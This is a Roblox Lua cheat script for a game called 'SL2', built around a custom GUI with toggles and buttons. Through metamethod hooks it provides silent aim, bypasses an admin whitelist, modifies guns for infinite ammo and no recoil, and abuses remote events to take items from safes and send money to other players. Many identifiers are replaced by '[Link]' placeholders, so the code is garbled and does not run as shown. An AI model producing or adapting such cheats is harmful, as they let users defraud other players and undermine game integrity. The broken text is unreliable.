local size = textservice:GetTextSize([Link], 13, [Link],


[Link](2000, 2000))
[Link] = [Link]("TextLabel", [Link])
[Link] = [Link](0,0.5)
[Link] = [Link](12, -1)
[Link] =
[Link]([Link](textservice:GetTextSize([Link], 13,
[Link], [Link](200,300)).X + 10, 0, [Link]),
size.Y)
[Link] = 1
[Link] = 0
[Link] = 4
[Link] = [Link]
[Link].TextColor3 = [Link](1,1,2552/255)
[Link] = 1
[Link] = [Link]
[Link] = 13

[Link] = [Link]("Frame", [Link])


[Link] = "labelframe"
[Link] = 3
[Link] = [Link]([Link],
10)
[Link] = 0
[Link].BackgroundColor3 = [Link](30, 30, 30)
[Link] = [Link](0, 6)

[Link] = [Link]("ScrollingFrame", [Link])


[Link] = "items"
[Link] = 2
[Link] = 1
[Link] = 1
[Link] = [Link] - [Link](10, 15)
[Link] = "Y"
[Link] = 0
[Link] = [Link](5, 10)
[Link] = [Link]

[Link] = [Link]("UIListLayout", [Link])


[Link] = [Link]
[Link] = [Link]
[Link] = [Link](0, 0)

[Link] = [Link]("UIPadding", [Link])


[Link] = [Link](0, 2)
[Link] = [Link](0, 6)
[Link] = [Link](0, 6)

[Link] = { }
function list:AddPlayer(Player)
local player = { }

[Link] = [Link]("Frame", [Link])


[Link] = [Link]
[Link].BorderColor3 = [Link]
[Link] = 3
[Link] = [Link]([Link].X - 12,
20)
[Link].BackgroundColor3 = [Link]
[Link] = [Link](0, 0, 0, 0)

[Link]([Link], Player)
[Link] = [Link]([Link].X,
(#[Link] * 20))
[Link] = [Link]([Link].X,
[Link]([Link], 0, 205))
return player
end

function list:RemovePlayer(Player)
local p = [Link]:FindFirstChild(Player)
if p then
for i,v in pairs([Link]) do
if v == Player then
[Link]([Link], i)
end
end

p:Remove()
[Link] =
[Link]([Link].X, (#[Link] * 90))
end
end

for i,v in pairs(game:GetService("Players"):GetPlayers()) do


list:AddPlayer(v)
end

game:GetService("Players").PlayerAdded:Connect(function(v)
list:AddPlayer(v)
end)

return list
end
]]--

[Link]([Link], tab)
return tab
end

return window
end
local Library = library
local Window = Library:CreateWindow("SL2 - made by joycemember on discord",
[Link](492, 598), [Link]) --you can change your UI keybind
local MainTab = Window:CreateTab("Main") --you can rename this tab to
whatever you want --you can also change the tabs code, for example "MainTab" can be
changed to "FunnyCoolTab" etc.

local MainSection = MainTab:CreateSector("Main Section", "left")


local GunSection = MainTab:CreateSector("Gun Mod Section", "right")
local SafeSection = MainTab:CreateSector("Safe Section", "right")
local MoneySection = MainTab:CreateSector("Money Section", "left")
local MiscSection = MainTab:CreateSector("Misc Section #1", "left")
local CosmeticsSection = MainTab:CreateSector("Misc Section #2", "right")

local LocalPlayer = game:GetService("Players").LocalPlayer

local SlotsToggle = false


local AutocarTeleport = false
local AutocarHopIn = false
local AdminWhitelistToggled=false
local SilentAimToggled=false

local Config = {
Enabled = SilentAimToggled,
TeamCheck = false,
HitPart = "Head",
Method = "Raycast",
FieldOfView = {
Enabled = true,
Radius = 120
}
}

local ExpectedArguments = {
FindPartOnRayWithIgnoreList = {
ArgCountRequired = 3,
Args = {
"Instance", "Ray", "table", "boolean", "boolean"
}
},
FindPartOnRayWithWhitelist = {
ArgCountRequired = 3,
Args = {
"Instance", "Ray", "table", "boolean"
}
},
FindPartOnRay = {
ArgCountRequired = 2,
Args = {
"Instance", "Ray", "Instance", "boolean", "boolean"
}
},
Raycast = {
ArgCountRequired = 3,
Args = {
"Instance", "Vector3", "Vector3", "RaycastParams"
}
}
}

local Camera = [Link]


local Players = game:GetService("Players")

local LocalPlayer = [Link]


local Mouse = LocalPlayer:GetMouse()

local GetChildren = [Link]


local WorldToScreen = [Link]
local FindFirstChild = [Link]

local function getPositionOnScreen(Vector)


local Vec3, OnScreen = WorldToScreen(Camera, Vector)
return [Link](Vec3.X, Vec3.Y), OnScreen
end

local function ValidateArguments(Args, RayMethod)


local Matches = 0
if #Args < [Link] then
return false
end
for Pos, Argument in next, Args do
if typeof(Argument) == [Link][Pos] then
Matches = Matches + 1
end
end
return Matches >= [Link]
end

local function getDirection(Origin, Position)


return (Position - Origin).Unit * 1000
end

local function getMousePosition()


return [Link](Mouse.X, Mouse.Y)
end

local function getClosestPlayer()


if not [Link] then return end
local Closest
local DistanceToMouse
for _, Player in next, GetChildren(Players) do
if Player == LocalPlayer then continue end
if [Link] and [Link] == [Link] then continue
end

local Character = [Link]

if not Character then continue end

local HumanoidRootPart = FindFirstChild(Character, "HumanoidRootPart")


local Humanoid = FindFirstChild(Character, "Humanoid")

if not HumanoidRootPart or not Humanoid or Humanoid and [Link]


<= 0 then continue end

local ScreenPosition, OnScreen =


getPositionOnScreen([Link])
if not OnScreen then continue end

local Distance = (getMousePosition() - ScreenPosition).Magnitude


if Distance <= (DistanceToMouse or ([Link] and
[Link]) or 2000) then
Closest = Character[[Link]]
DistanceToMouse = Distance
end
end
return Closest
end

local oldNamecall
oldNamecall = hookmetamethod(game, "__namecall", function(...)
local Method = getnamecallmethod()
local Arguments = {...}
local self = Arguments[1]

if self == workspace then


if Method == "FindPartOnRayWithIgnoreList" and [Link] == Method
then
if ValidateArguments(Arguments,
[Link]) then
local A_Ray = Arguments[2]

local HitPart = getClosestPlayer()


if HitPart then
local Origin = A_Ray.Origin
local Direction = getDirection(Origin, [Link])
Arguments[2] = [Link](Origin, Direction)

return oldNamecall(unpack(Arguments))
end
end
elseif Method == "FindPartOnRayWithWhitelist" and [Link] ==
Method then
if ValidateArguments(Arguments,
[Link]) then
local A_Ray = Arguments[2]

local HitPart = getClosestPlayer()


if HitPart then
local Origin = A_Ray.Origin
local Direction = getDirection(Origin, [Link])
Arguments[2] = [Link](Origin, Direction)

return oldNamecall(unpack(Arguments))
end
end
elseif (Method == "FindPartOnRay" or Method == "findPartOnRay") and
[Link]:lower() == Method:lower() then
if ValidateArguments(Arguments, [Link])
then
local A_Ray = Arguments[2]

local HitPart = getClosestPlayer()


if HitPart then
local Origin = A_Ray.Origin
local Direction = getDirection(Origin, [Link])
Arguments[2] = [Link](Origin, Direction)

return oldNamecall(unpack(Arguments))
end
end
elseif Method == "Raycast" and [Link] == Method and
SilentAimToggled then
if ValidateArguments(Arguments, [Link]) then
local A_Origin = Arguments[2]

local HitPart = getClosestPlayer()


if HitPart then
Arguments[3] = getDirection(A_Origin, [Link])

return oldNamecall(unpack(Arguments))
end
end
end
end
return oldNamecall(...)
end)

local AdminWLHook; AdminWLHook = hookmetamethod(game, "__namecall",


newcclosure(function(self, ...)
args = {...}
if tostring(self) == "Equipping" and AdminWhitelistToggled then
args[1] = "Equip";
args[2] = "N"
return AdminWLHook(self, unpack(args))
end
return AdminWLHook(self, ...)
end))

[Link]:Connect(function(car)
if [Link] == [Link].."'s Car" then
[Link](2.5)
if AutocarHopIn then

[Link]:sit([Link]:WaitForChild("Humanoid"))
end
end
end)

[Link]:Connect(function(vehicle)
if [Link] == [Link].."'s Car" then
[Link](4)
if AutocarTeleport then

vehicle:MoveTo([Link]:WaitForChild("HumanoidRootPart").Position)
[Link](.1)

[Link]:sit([Link]:WaitForChild("Humanoid"))
end
end
end)

LocalPlayer:WaitForChild("PlayerGui").ChildAdded:Connect(function(v)
if [Link] == "Safe" then
[Link] = SlotsToggle
end
end)
local StaminaToggle
MainSection:AddToggle("Admin-Whitelist", false, function(bool)
AdminWhitelistToggled = bool
end)
MainSection:AddToggle("Silent-Aim", false, function(bool)
SilentAimToggled = bool
end)
MainSection:AddToggle("Infinite-Stamina", false, function(bool)
local Stamina = [Link]
StaminaToggle = bool
if StaminaToggle then
[Link] = 999999999999
else
[Link] = 100
end
end)
local CameraBobDisableLoop
MainSection:AddToggle("No-Camera-Bob", false, function(bool)
CameraBobDisableLoop = bool
while CameraBobDisableLoop do [Link](1)
[Link]:WaitForChild("Camera_Bob").Disabled = bool
end
end)

local Run
Run = [Link]
[Link]:Connect(function(args)
if [Link] == "Run" and args:IsA("LocalScript") then
Run = args
end
end)

local SkitOnOrOff
MainSection:AddToggle("Infinite-Skittles", false, function(bool)
SkitOnOrOff = bool
[Link] = bool
[Link]:GetPropertyChangedSignal("Value"):Connect(function()
[Link] = SkitOnOrOff
end)
end)

MainSection:AddToggle("10-Safe-Slots", false, function(bool)


SlotsToggle = bool
[Link] = bool
end)

local HoodNo
MainSection:AddToggle("No-Hood-Pull", false, function(bool)
HoodNo = bool
while HoodNo do [Link](2)
[Link]:WaitForChild("Hood").Disabled = HoodNo
end
end)
local BigHeadToggle
MainSection:AddToggle("Big-Heads", false, function(bool)
BigHeadToggle = bool
while BigHeadToggle do [Link](0.3)
pcall(function()
for i,v in pairs([Link]:GetChildren()) do
if v~=LocalPlayer then
local Head = [Link]:FindFirstChild("Head")
if Head then
if BigHeadToggle then
[Link] = [Link](6,6,6)
[Link] = false
[Link] = true
[Link] = "Plastic"
[Link] = 0.7
elseif BigHeadToggle == false then
[Link] =
[Link](1.87999999523162284, 0.9399999976158142, 0.9399999976158142)
[Link] = false
[Link] = true
[Link] = "Plastic"
[Link] = 0
end
end
end
end
end)
end
end)
local DisableGunScript
MainSection:AddToggle("Disable-Gun-Script", false, function(bool)
DisableGunScript = bool
if DisableGunScript then
[Link] = false
else
[Link] = true
end
end)

local PickupLoop
MainSection:AddToggle("Auto-Pick-Up", false, function(bool)
PickupLoop = bool
while PickupLoop do [Link](.05)
for i,v in next, [Link]:GetChildren() do
if v:IsA("Tool") and [Link] ~="Crate" then

[Link]:FindFirstChild("Humanoid"):EquipTool(v)
end
end
end
end)

MainSection:AddToggle("Auto-Teleport-Car", false, function(bool)


AutocarTeleport = bool
end)

MainSection:AddToggle("Auto-Sit-In-Car", false, function(bool)


AutocarHopIn = bool
end)

MainSection:AddSlider("Silent Aim FOV", 0, 120, 360, 1, function(State)


[Link] = State
end)
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------------
--------------------------------
GunSection:AddButton("Automatic-Gun", function()
--[[local gunModule =
require([Link]:FindFirstChildOfClass("Tool").[Link]
l)
[Link] = 0
[Link] = 0]]
--------------------------
GunStats = [Link]:FindFirstChildOfClass("Tool").Stats
--[Link] = -1
--[Link] = [Link]
[Link] = -1
[Link] = "Auto"
--[Link]:Destroy()
end)

GunSection:AddButton("Infinite-Ammo", function()
--[[local gunModule =
require([Link]:FindFirstChildOfClass("Tool").[Link]
l)
[Link] = 0
[Link] = 0]]
--------------------------
GunStats = [Link]:FindFirstChildOfClass("Tool").Stats
--[Link] = -1
[Link] = [Link]
[Link]:GetPropertyChangedSignal("Value"):Connect(function()
[Link] = [Link]
end)
--[Link] = -1
--[Link] = "Auto"
--[Link]:Destroy()
end)

GunSection:AddButton("No-Recoil", function()
--[[local gunModule =
require([Link]:FindFirstChildOfClass("Tool").[Link]
l)
[Link] = 0
[Link] = 0]]
--------------------------
GunStats = [Link]:FindFirstChildOfClass("Tool").Stats
[Link] = -1
--[Link] = [Link]
--[Link] = -1
--[Link] = "Auto"
--[Link]:Destroy()
end)

GunSection:AddButton("No-Spread", function()
local gunModule =
require([Link]:FindFirstChildOfClass("Tool").[Link]
l)
[Link] = 0
[Link] = 0
--------------------------
--GunStats = [Link]:FindFirstChildOfClass("Tool").Stats
--[Link] = -1
--[Link] = [Link]
--[Link] = -1
--[Link] = "Auto"
--[Link]:Destroy()
end)

GunSection:AddButton("No-Rifle", function()
--[[local gunModule =
require([Link]:FindFirstChildOfClass("Tool").[Link]
l)
[Link] = 0
[Link] = 0]]
--------------------------
GunStats = [Link]:FindFirstChildOfClass("Tool").Stats
--[Link] = -1
--[Link] = [Link]
--[Link] = -1
--[Link] = "Auto"
[Link]:Destroy()
end)

GunSection:AddButton("All-Mods", function()
local gunModule =
require([Link]:FindFirstChildOfClass("Tool").[Link]
l)
[Link] = 0
[Link] = 0
--------------------------
GunStats = [Link]:FindFirstChildOfClass("Tool").Stats
[Link] = -1
[Link] = [Link]
[Link]:GetPropertyChangedSignal("Value"):Connect(function()
[Link] = [Link]
end)
[Link] = -1
[Link] = "Auto"
[Link]:Destroy()
end)

local Item = ""


local Clips = tonumber(99999999999) -- the amount of clips/uses you want the
item to have.
local Take = true -- if you taking it or putting it back in.
local Plr = ""
local UID = [Link]

local SafeGunsWhenDeadToggle
SafeSection:AddToggle("Safe-Guns-When-Dead", false, function(bool)
SafeGunsWhenDeadToggle = bool
while SafeGunsWhenDeadToggle do [Link](.5)
for i,v in pairs([Link]:GetChildren()) do
if [Link] ~= "Skittles" and [Link] ~= "Mask" and [Link] ~=
"Bally" and [Link] ~= "MXHelmet" and [Link] ~= "Bandana" and [Link] ~= "AK" and
[Link] ~= "Fish N Chips" and [Link] ~= "Airpods" and [Link] ~= "Phone" and [Link]
~= "IllegalCash" and [Link] ~= "Fist" and [Link] ~= "Shake" and [Link] ~= "WALL"
and [Link] ~= "Hood" and [Link] ~= "FirearmLocal" and [Link] ~= "BypassMe" and
[Link] ~= "Noodles" and [Link] ~= "Pizza" and [Link] ~= "Fanta" and [Link] ~=
"Burger" and [Link] ~= "Toast" and
[Link]:WaitForChild("Humanoid").Health < 1 then
if SafeGunsWhenDeadToggle then

[Link]:FireServer("Movetosafe",[Link],9999999999,LocalPlaye
[Link]) else
end else
end
end
end
end)

SafeSection:AddButton("Check-Safe", function()
for i,v in next, [Link]:GetChildren() do
warn([Link],v:FindFirstChildOfClass("IntValue").Value)
end
end)

SafeSection:AddButton("Safe-Operation", function()
local SafeRemote = [Link]
if Take then

SafeRemote:FireServer("Takeout",tostring(Item),tonumber(Clips),tonumber(UID))
else

SafeRemote:FireServer("Movetosafe",tostring(Item),tonumber(Clips),tonumber(UID))
end
end)

SafeSection:AddTextbox("Gun-Name", nil, function(State)


Item = State
if Take then
for i,v in next, [Link]:GetChildren()
do
if [Link]:lower():find(Item:lower()) then
Item = tostring([Link])
Clips = v:FindFirstChildOfClass("IntValue").Value
end
end
else
for i,v in next, [Link]:GetChildren()
do
if [Link]:lower():find(Item:lower()) and v:IsA("Tool") then
Item = tostring([Link])
end
end
end
end)

SafeSection:AddTextbox("Uses/Clips", nil, function(State)


Clips = tonumber(State)
end)

SafeSection:AddTextbox("Player-to-WL", nil, function(State)


Plr = State
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if [Link]:lower():find(Plr:lower()) then
UID = tonumber([Link])
end
end
end)

SafeSection:AddDropdown("Taking/Putting", {"Taking", "Putting"}, "Taking",


false, function(dropdown)
if dropdown == "Taking" then
Take = true
elseif dropdown == "Putting" then
Take = false
end
end)

MoneySection:AddTextbox("Change Illegal Cash", nil, function(State)


local IllegalCash = [Link]:FindFirstChild("IllegalCash")
or [Link]:FindFirstChild("IllegalCash")
[Link] = tonumber(State)
end)

local Amt = tonumber(10000)


local PlrTSendMoneyTo

MoneySection:AddTextbox("Player's-Name (send-money)", nil, function(State)


for i,v in next, [Link]:GetPlayers() do
if [Link]:lower():find(State:lower()) then
PlrTSendMoneyTo = v
end
end

for i=1, Amt / 10000 do

game:GetService("ReplicatedStorage").Send:FireServer(10000,PlrTSendMoneyTo)
end
end)

MoneySection:AddTextbox("Money-Amount", nil, function(State)


Amt = State
end)

MiscSection:AddButton("Backflip-Script", function()
--[[ Info ]]--

local ver = "2.00"


local scriptname = "feFlip"

--[[ Keybinds ]]--

local FrontflipKey = [Link].X


local BackflipKey = [Link].Z
local AirjumpKey = [Link].C

--[[ Dependencies ]]--

local ca = game:GetService("ContextActionService")
local zeezy = game:GetService("Players").LocalPlayer
local h = 0.0174533
local antigrav

--[[ Functions ]]--

function zeezyFrontflip(act,inp,obj)
if inp == [Link] then
[Link] = 50
[Link]:ChangeState("Jumping")
wait()
[Link] = true
for i = 1,360 do
delay(i/720,function()
[Link] = true

[Link]:WaitForChild("HumanoidRootPart").CFrame =
[Link]:WaitForChild("HumanoidRootPart").CFrame * [Link](-h,0,0)
end)
end
wait(0.55)
[Link] = false
[Link] = 0
end
end

function zeezyBackflip(act,inp,obj)
if inp == [Link] then
[Link] = 50
[Link]:ChangeState("Jumping")
wait()
[Link] = true
for i = 1,360 do
delay(i/720,function()
[Link] = true

[Link]:WaitForChild("HumanoidRootPart").CFrame =
[Link]:WaitForChild("HumanoidRootPart").CFrame * [Link](h,0,0)
end)
end
wait(0.55)
[Link] = false
[Link] = 0
end
end

function zeezyAirjump(act,inp,obj)
if inp == [Link] then

[Link]:FindFirstChildOfClass'Humanoid':ChangeState("Seated")
wait()

[Link]:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")
end
end

--[[ Binds ]]--

ca:BindAction("zeezyFrontflip",zeezyFrontflip,false,FrontflipKey)
ca:BindAction("zeezyBackflip",zeezyBackflip,false,BackflipKey)
ca:BindAction("zeezyAirjump",zeezyAirjump,false,AirjumpKey)
end)

MiscSection:AddButton("Give-Radio", function()
for i,v in next, [Link]:GetDescendants() do
if [Link] == "Radio" and v:IsA("Tool") then
v:Clone().Parent = [Link]
break
end
end
end)

MiscSection:AddButton("Give-Frisk", function()
for i,v in next, [Link]:GetDescendants() do
if [Link] == "Frisk" and v:IsA("Tool") then
v:Clone().Parent = [Link]
break
end
end
end)
MiscSection:AddButton("Teleport-Car",function()
game:GetService("Workspace")[[Link].."'s
Car"]:MoveTo([Link]:WaitForChild("HumanoidRootPart").Position)
[Link](.3)
game:GetService("Workspace")[[Link].."'s
Car"].DriveSeat:sit([Link])
end)

MiscSection:AddButton("Sit-In-Car",function()
game:GetService("Workspace")[[Link].."'s
Car"].DriveSeat:sit([Link])
end)

MiscSection:AddButton("Ghost-drive-car",function()
game:GetService("Workspace")[[Link].."'s Car"]["A-Chassis
Tune"]:Clone().Parent = [Link]
end)

CosmeticsSection:AddButton("Hunnid-Chain", function()
for i=1, 2 do
[Link] = [Link]
[Link] = [Link]
[Link]:Clone().Parent =
[Link]
end
end)

CosmeticsSection:AddButton("Cross-Chain", function()
for i=1, 2 do
[Link] = [Link]
[Link] = [Link]
[Link]:Clone().Parent =
[Link]
end
end)

local ODONELLPLAYER
CosmeticsSection:AddTextbox("Drive-Players-Car", nil, function(State)
for i,v in pairs([Link]:GetPlayers()) do
if [Link]:lower():find(State:lower()) then
ODONELLPLAYER = v
end
end

game:GetService("Workspace")[[Link].."'s
Car"]:MoveTo([Link]:WaitForChild("HumanoidRootPart").Position)
[Link](.3)
game:GetService("Workspace")[[Link].."'s
Car"].DriveSeat:sit([Link])
end)
end

SL2()

You might also like